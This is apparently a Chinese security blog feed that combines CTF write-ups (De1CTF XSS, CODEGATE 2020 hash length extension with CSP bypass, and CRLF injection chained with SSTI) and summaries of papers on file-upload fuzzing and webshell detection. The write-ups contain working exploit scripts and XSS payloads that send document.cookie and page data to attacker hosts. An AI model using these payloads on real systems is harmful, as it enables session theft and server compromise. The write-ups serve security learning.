location="http://vps_ip/?c="+btoa(JSON.stringify(arr))
})();
"""
print(s)
data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d')
url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//"
print(url)
然后将400张图拼在一起,得到后半段flag:
当然这里额外提一下,其实引入js库,不需要bypass js后缀,我们利用如下方式即可:1
fetch(`/static/images/xxxxxx.png`).then(res=>res.text()).then(txt=>eval(txt))
然后引入js库,截图后将图片利用upload上传,再把return url发送到我们服务器即可~
这道xss是我认为De1CTF比较有趣的一道题目了,首先考的就是纯web,其次出题的思路比较好,而不是一味的恶心人= =,点个赞~
]]>这次介绍的是一篇发表在安全顶会NDSS 2020上的一篇paper,其针对文件上传漏洞的场景,实现了一款动态fuzz的工具FUSE,并利用其发现了现有33个CMS的15 CVE。
首先提几个关键的缩写含义,对于漏洞分类上,可以大致为两类,即:
UFU:为Unrestricted File Upload的缩写,含义即任意文件上传。
UEFU:为Unrestricted Executable File Upload的缩写,含义即任意可执行文件上传。
但这两类可能有一个子集的包含关系,UEFU应该为UFU的子集,因为我们上传的文件未必是可执行的。
然后是对于上传的恶意文件,我们也可以分为两类:
CE:为code execution的缩写,含义即为代码执行。
PCE:为potential code execution的缩写,含义即为潜在的任意代码执行。
一类就是代码执行的文件,这个非常容易理解,比如我们常见的一句话木马,而潜在代码执行的文件,可以理解成js等,需要引入或者满足一定条件的触发才会让其产生威胁。
而至于文件上传漏洞,作为一种危害性大,案例多的web漏洞,应该大家都比较熟悉了。那么其出现漏洞的位置也是多样化的,例如后缀名过滤产生的问题:
我们可以看到黑名单过滤产生了2个弊端:第一是黑名单中的后缀名可能会有遗漏,第二是此处黑名单匹配并未使用大小写通配,从而会导致大小写Bypass。
同样的,漏洞也可能会是Content-Type过滤产生的问题:
例如上述代码中,我们看到其会对Content-Type进行过滤,而Content-Type并不能真实反映文件的内容,是可通过burp等抓包工具进行拦截修改的,所以同样会产生安全隐患。
那么对于文件上传出现漏洞的多样性,其实对攻击者的探测产生了一些麻烦,我们在黑盒的情况下或者在找到上传点的情况下,可能需要通过大量的猜测和探测才能找到正确的Bypass模式,但实际上很多时候这是一种低效率的行为,有没有可能有一款类似sqlmap的工具,来自动化的fuzz上传接口呢?于是便有了FUSE这款工具。
我们首先看一下工具的架构:
那么实际上该工具的重点就在于其如何产生有效的payload和验证payload的攻击是否生效,首先我们先看其如何有效的产生payload:
我们注意到,在一次文件上传的请求里,其实有很多位置是我们可以进行伪造更改的,因此作者将常见的文件上传bypass技巧归纳为如下多种模式:
比如M3更改content-type,M4更改文件名后缀等等,当然我们肯定存在后端检测文件上传时,既检测content-type,又检测文件名后缀的情况,因此作者会对其进行排列组合进行测试:
测试的时候,假如我们选定的seed模式为M1、M2、M3,那么工具会生成如上排列组合的模式,依次进行探测,从第一不修改任何参数进行恶意文件上传,到按照M1M2M3模式修改所有参数进行上传,当然如果其中某一种上传成功,那么自然不会去尝试包含这一种修改的修改,例如:
当M1测试后,如果M1测试成功,我们的恶意文件已上传,那么则不会去尝试M1M3的组合,因为没有意义,其应该一定为成功。
当然这里可能涉及到相互冲突的问题,假设M1M3一起修改,可能会有冲突,所以考虑到这样的问题,工具也会进行筛选操作,例如M1和M2一起会产生冲突,那么M1M2和M1M2M3这两种排列组合不会进行组合修改。
了解了payload的生成方式,我们再来看一下如何获取恶意文件上传后的路径,以用于检测是否攻击成功:
工具有相应的config文件,其可以指定上传成功后的路径前缀,或者response里的路径url,以此正则去提取上传后的文件路径。当然作为一种修复文件上传漏洞的方案,常看见到文件名更改和路径的隐藏,上传者无法知道文件传到了何处,其文件名是什么。那么对于这一种情况,作者使用了一个文件监视器:
该监视器运行在攻击目标服务器上,时刻监视该服务器上的文件创建。也是因为这一点,我个人认为FUSE可能更像一款动态fuzz的漏洞发掘工具,而非一款典型的渗透测试工具,因为这一需求我们在渗透测试中是肯定不会满足的,如果都有目标服务器的控制权限了,那么也没必要进行攻击了。所以这款工具的目标,更像去挖掘一些开源现有cms的文件上传漏洞。
然后是工具的运行逻辑:
这就比较清晰了,即排列组合上述的payload,然后进行不断的上传测试,通过访问上传后的路径,判断文件是否上传成功。
工具的作者关注点在于4种文件:php、html、xhtml、js,故此根据这4种文件,作者进行上传,以测试其是否允许CE或者PCE文件的上传。
首先数据集上,作者选取了33个CMS,并找到其中的文件上传点,然后利用工具进行动态fuzz,得到如下结果:
我们从结果里可以看到,其中有9个cms是需要文件监视器的,即上传后的文件路径和文件名难以被攻击者直接获取。同时我们发现PCE中只有php和js,这可能是因为php文件虽然上传成功,但未必能被直接解析,其可能受到.htaccess的影响,而导致其只能是潜在的代码执行文件,可能需要配合任意文件删除漏洞,才能发挥作用。而对于js,其一般是需要被html等调用触发,才能造成一系列的攻击,故其也作为了一种PCE文件。
当然除此之外,该工具有测试尝试上传了.htaccess文件,我们知道.htaccess是可以更改apache子目录配置的,其可以指定将jpg后缀按照php进行解析等,很容易导致组合拳形式的bypass,所以对其的测试是很有必要的,我们也可以看到在上述CMS中,有6个CMS是允许.htaccess上传的,这是相当危险的。
FUSE这款工具我个人认为,其定义应该为文件上传界的sqlmap,但由于其较强的约束条件,可能在实战黑盒测试中作用有限,应对会修改文件名和文件路径,或做隐藏的安全保护,是比较难以突破的。
工具开源在:https://github.com/WSP-LAB/FUSE
随手尝试:1
110.10.147.166/view.php?name=123&p1=456&p2=789
得到如下url:1
/api.php?sig=43bb08065a4d2217ca3881e93c65276b&q=TVRJeixORFUyLE56ZzU=
不难发现,view.php的功能,是帮助我们把name、p1、p2转化格式后,发送给api.php。
其中q的值为:
同时存在一个report功能:
如果把api.php的payload传过去,就能触发XSS,但是考虑到题目有CSP:1
Content-Security-Policy: default-src 'self'; script-src 'none'; base-uri 'none';
显然需要bypass CSP,此时我们关注到api.php的代码实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29$apis = explode("|", $api_string);
foreach($apis as $s) {
$info = explode(",", $s);
if(count($info) != 3)
continue;
$n = base64_decode($info[0]);
$p1 = base64_decode($info[1]);
$p2 = base64_decode($info[2]);
if ($n === "header") {
if(strlen($p1) > 10)
continue;
if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
continue;
header("$p1: $p2");
}
elseif ($n === "cookie") {
setcookie($p1, $p2);
}
elseif ($n === "body") {
if(preg_match("/<.*>/", $p1))
continue;
echo $p1;
echo "\n<br />\n";
}
elseif ($n === "hello") {
echo "Hello, World!\n";
}
}
我们可以利用header进行bypass csp,但是需要同时对body传入exp,而view.php只能处理单个元组,不能同时为我们签名header和body:1
header,p1(b64),p2(b64)|body,p1(b64),p2(b64) ...
所以我们需要自己根据算法构造sig,考虑到api.php的检测方式:1
2
3
4
5
6
7
8
9
10if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
die("?");
}
$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];
if(md5($salt.$api_string) !== $sig){
die("??");
}
发现我们可以尝试hash长度拓展攻击,首先我们已有一个元组和签名:1
2name=123,p1=456,p2=789
sig=43bb08065a4d2217ca3881e93c65276b
但是我们未知salt的长度,那么需要进行爆破:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import requests
import hashpumpy
import base64
old_sig = "43bb08065a4d2217ca3881e93c65276b"
old_data = "MTIz,NDU2,Nzg5" # 123 456 789
url = "http://110.10.147.166/api.php?sig=%s&q=%s"
for i in range(1, 50):
result = hashpumpy.hashpump(old_sig, old_data, "|Nzg5,NDU2,MTIz", i) # 789 456 123
new_sig = result[0]
new_data = base64.b64encode(result[1])
now_url = url % (new_sig,new_data)
r = requests.get(now_url)
if '??' not in r.content:
print i
break
运行可得,salt长度为12。
那么此时可以并行构造header和body,但是如何bypass csp呢?
由于不擅XSS,赛后请教了一下Melody师傅,得知可用404进行bypass:
参考link:1
http://www.yulegeyu.com/2018/07/15/CSP-unsafe-inline%E6%97%B6-%E5%BC%95%E5%85%A5%E5%A4%96%E9%83%A8js/
得到:1
/api.php?sig=fa74cda5bdd2f4da4170e064a5462449&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==
构造:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import requests
import hashpumpy
import base64
def gen_exp(a,b,c):
return base64.b64encode(a)+','+base64.b64encode(b)+','+base64.b64encode(c)
old_sig = "fa74cda5bdd2f4da4170e064a5462449"
old_data = base64.b64decode('YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==') #header,HTTP/1 404,skysec
url = "http://110.10.147.166/api.php?sig=%s&q=%s"
a = 'body'
b = '''<img src=x onerror="location.href='//vps:23334/?c='+escape(document.cookie);"
>'''
c = ''
exp = '|'+gen_exp(a,b,c)
result = hashpumpy.hashpump(old_sig, old_data, exp, 12)
new_sig = result[0]
new_data = base64.b64encode(result[1])
now_url = url % (new_sig,new_data)
print now_url
得到exp:1
http://110.10.147.166/api.php?sig=812ada09f5d2713a436156061126977d&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWaoAAAAAAAAAAAABwAQAAAAAAAHxZbTlrZVE9PSxQR2x0WnlCemNtTTllQ0J2Ym1WeWNtOXlQU0pzYjJOaGRHbHZiaTVvY21WbVBTY3ZMekV3Tmk0eE5DNHhNVFF1TVRJM09qSXpNek0wTHo5alBTY3JaWE5qWVhCbEtHUnZZM1Z0Wlc1MExtTnZiMnRwWlNrN0lnbyss
得到flag:1
CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}
题目给予了一个路由,尝试访问后发现,XFF可控:
但是fuzz后发现,好像并不能直接利用。
后续关注到题目给予了dockerfile:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi
ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/static
RUN chmod 777 /home/static
RUN mkdir /home/tickets
RUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]
同时注意到其用urllib完成了request功能:
那么尝试使用CVE,探测是否存在CRLF注入:CVE-2019-9947,发现其漏洞范围为2.x ~ 2.7.16刚好符合dockerfile中的版本号,于是进行尝试:1
http://[vps-ip]:23333?%0d%0apayload%0d%0apadding
发现确实存在CRLF注入攻击。
进一步尝试,利用CLRF注入,访问题目的whatismyip功能:
发现确实可以进行127.0.0.1的伪造访问,并且可控XFF,但陷入僵局。
赛后得知,题目可以进行目录穿越,进行任意文件下载:1
http://58.229.253.144/static../src/app/routes.py
审计代码发现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def admin_access():
ip = get_ip()
rip = get_real_ip()
if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
abort(403)
if ip != rip: #if use proxy
ticket = write_log(rip)
return render_template("admin_remote.html", ticket = ticket)
else:
if ip == "127.0.0.2" and request.args.get("body"):
ticket = write_extend_log(rip, request.args.get("body"))
return render_template("admin_local.html", ticket = ticket)
else:
return render_template("admin_local.html", ticket = None)
我们可以利用其中代码对log写入内容:1
2
3if ip != rip: #if use proxy
ticket = write_log(rip)
return render_template("admin_remote.html", ticket = ticket)
而跟进rip,其赋值来自于:1
rip = get_real_ip()
跟进函数实现:1
2def get_real_ip():
return request.headers.get("X-Forwarded-For") or get_ip()
发现可用XFF控制写入log内容。
跟进write_log:1
2
3
4
5
6
7def write_log(rip):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
log_str = "Admin page accessed from %s" % rip
f.write(log_str)
return tid
故此,可以尝试在/admin路由,利用XFF写入文件,同时会返回其ticket:1
url=http://127.0.0.1/renderer/admin+HTTP/1.1%0aX-Forwarded-For: {{1+1}}%0a
而后,利用/admin/ticket读取文件,触发ssti:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20def admin_ticket():
ip = get_ip()
rip = get_real_ip()
if ip != rip: #proxy doesn't allow to show ticket
print 1
abort(403)
if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
print 2
abort(403)
if request.headers.get("User-Agent") != "AdminBrowser/1.337":
print request.headers.get("User-Agent")
abort(403)
if request.args.get("ticket"):
log = read_log(request.args.get("ticket"))
if not log:
print 4
abort(403)
return render_template_string(log)
构造exp如下:1
url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646+HTTP/1.1%0aUser-Agent: AdminBrowser/1.337%0aX-Forwarded-For: 127.0.0.1%0aA: B%0a
测试发现,确实可以伪造http header。但是此处存在一个问题,即UA覆盖,最下面的UA,会覆盖我们上面的UA,所以得Connection: close。1
url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646 HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: AdminBrowser/1.337%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aConnection: close%0d%0a%0d%0askycool
即可触发ssti:1
2
3
4
5
6if request.args.get("ticket"):
log = read_log(request.args.get("ticket"))
if not log:
print 4
abort(403)
return render_template_string(log)
发现flag位置:1
ENV FLAG CODEGATE2020{**DELETED**}
exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23import requests
import urllib
url = 'http://58.229.253.144/renderer/'
payload1 = '''http://127.0.0.1/renderer/admin HTTP/1.1%%0d%%0aX-Forwarded-For: %s%%0d%%0a'''
payload2 = '''http://127.0.0.1/renderer/admin/ticket?ticket=%s HTTP/1.1%%0d%%0aHost: 127.0.0.1%%0d%%0aUser-Agent: AdminBrowser/1.337%%0d%%0aX-Forwarded-For: 127.0.0.1%%0d%%0aConnection: close%%0d%%0a%%0d%%0askycool'''
ssti_payload = '''{{config}}'''
exp1 = payload1 % ssti_payload
data = {
'url':urllib.unquote(exp1)
}
r = requests.post(url=url,data=data)
ticket = r.content[1652:1692]
exp2 = payload2%ticket
data = {
'url':urllib.unquote(exp2)
}
r = requests.post(url=url,data=data)
print r.content
运行即可拿到flag:1
CODEGATE2020{CrLfMakesLocalGreatAgain}
本篇文章《Webshell Detection Based on Random Forest–Gradient Boosting Decision Tree Algorithm》是和前一篇文章《Detecting Webshell Based on Random Forest with FastText》同一学校所作,研究问题依旧是检测webshell,两篇文章同样是利用了随机森林算法,前一篇结合的是fastText,而本篇文章结合的是梯度提升迭代决策树算法。
在前一篇文章中,对于features的提取分为两大步:
1 | @eval ($_post[xxxxx]) |
因此一个文件的eval的数量是模型训练的一个重要feature。
如此之外,之前的文章利用PHP-VLD提取文件Opcode,再使用fastText训练文本分类器,而本篇文章与之不同,作者将获得的Opcode,使用Scikit-learn从中提取2种特征:TF-IDF向量和Hash向量。
TF即Term frequency,词频计算公式如下:
其用来评估一个词语在文本中出现的频率。
IDF即inverse document frequency,逆文本频率指数如下:
其用于评估该词语在所有文本中是否罕见。
故此TF-IDF的主要思想是:如果某个词或短语在一篇文章中出现的频率TF高,并且在其他文章中很少出现,则认为此词或者短语具有很好的类别区分能力,适合用来分类。
其计算方法如下:
hash散列可以将任意长度的数据转换为固定长度的数据,同时这种这种转换通常是一对一的,我们很难找到同样的hash对应不同的数据。因此可以利用hash作为某个特征向量的索引,因此无需创建大型字典,而这个恰好是TF-IDF所缺乏的。
例如:特征 i 会被hash到索引位置j:1
h(i) = j
特征 i 的词频表示为φ(i),那么公式如下:
在提取特征结束后,作者尝试在仅适用6个静态特征和GBDT算法进行检测,成功率已达96.9%。
对于GBDT算法,其核心是:每棵树学的是之前所有树结论和的残差,即真实值-预测值。每一轮梯度boosting训练都会减少上一轮训练的残差,即在梯度方向上训练一个新的模型来降低上一轮训练的残差。
其优点在于可以有效减少feature,降低过拟合现象,并且具有更高的鲁棒性,不太可能受到训练集规模的影响。
这也是作者将其与随机森林算法结合使用的一个原因。同时为了进一步提高效率,作者加入了PHP Opcode的特征提取,和随机森林算法:
在结合前6个静态特征后,作者使用随机森林获取TF-IDF矩阵和hash矩阵的预测结果,最后结合8个feature对GBDT进行训练。
作者从Github收集了2232个webshell,2388 CMS样本文件:
但由于有些文件提取特征不成功,或者并非php文件,作者丢弃了大小超过20000的文件,并未使用。
而后作者从如下几个角度评估了RF-GBDT算法的性能:
同时作者进行了一些对照实验,结果如下:
可以看到,如果仅用6个静态features的GBDT在各方面的性能都不如使用8个features的RF-GBDT。除此之外,作者还挑选了一些网上主流的webshell检测工具,结果如下:
这同时也证明了RF-GBDT具有非常好的性能。
本篇paper来自ICMLC 2018,与前一篇文章《CNN-Webshell & Malicious Web Shell Detection with Convolutional Neural Network》出自同一学校,应该是之前工作的改进版。其对于webshell的检测也是主要集中于HTTP Requests检测。
与2017年的paper《CNN-Webshell: Malicious Web Shell Detection with Convolutional Neural Network》不同,作者在本篇文章中改良了之前对HTTP Requests流量文本分割的方式。
根据之前的工作,通过符号\&
进行分割后,每一个单词可以变为一个one-hot向量,对于一个长为L的序列,其可以得到一组one-hot向量:
但这样是非常浪费时间的,不仅因为其是高维向量,并且忽略了单词与单词之间的关系。受到word embedding的启发,作者将one-hot向量转换成一个低维连续向量:
其可以通过one-hot向量左乘权重矩阵来实现:
其中:
,|V|是词汇表中唯一单词的数目。
对于矩阵M,其可以通过随机分配或学习具有一个隐藏层的网络来获得。在此作者通过输入一个词(一个one-hot向量)并输出下一个词(一个one-hot向量)来训练网络,以学习两个共现词之间的关系。同时经过实验,这样得到的矩阵M比随机分配具有更好的性能。
经过这样转换,之前的one-hot向量序列转换为如下矩阵:
众所周知,CNN可以通过卷积层和池化层,提取较为重要的features,而LSTM可以存储长期依赖关系,那么很自然的想到,可以将二者融合,用来处理webshell检测的问题。
首先通过CNN的卷积,我们可以得到如下结果:
其中b是偏差,φ是非线性校正函数,n个滤波器为:
但是由于卷积层和池化层产生的结果是一个向量,并不能直接和LSTM进行结合,所以为了解决这个问题,作者将全局最大池替换为局部最大池,那么在t位置时,局部最大池的结果为:
故此我们可以得到一组新的向量:
此时:
那么此时,即可将gt序列输入LSTM,完成组合分类:
对于CNN+LSTM的算法,输入单词维数为40,每个序列固定长度为56个单词。对于CNN,其具有100个宽度为5的滤波器和一个大小为5的本地最大池层,然后使用rate为0.9的dropout层来抑制过拟合。并将输出输入LSTM,而对于LSTM,其隐藏变量维数为100,其最后的输出同样连接到rate为0.9的dropout层。
实验中使用的数据集为CSIC2010。在实验中,测试集中有超过36000个正常请求和25000个异常请求。异常请求包含大量的web攻击,如SQL注入、信息收集、文件泄漏、CRLF注入、XSS和参数篡改等。
同样的,实验中也将提出的算法与传统方法进行了比较,比较对象如下:
该工作将CNN和LSTM进行了结合,用于webshell检测,获得了不错的效果,同时分析了不同的因素对模型性能的影响,对后人工作具有一定的指导意义。
]]>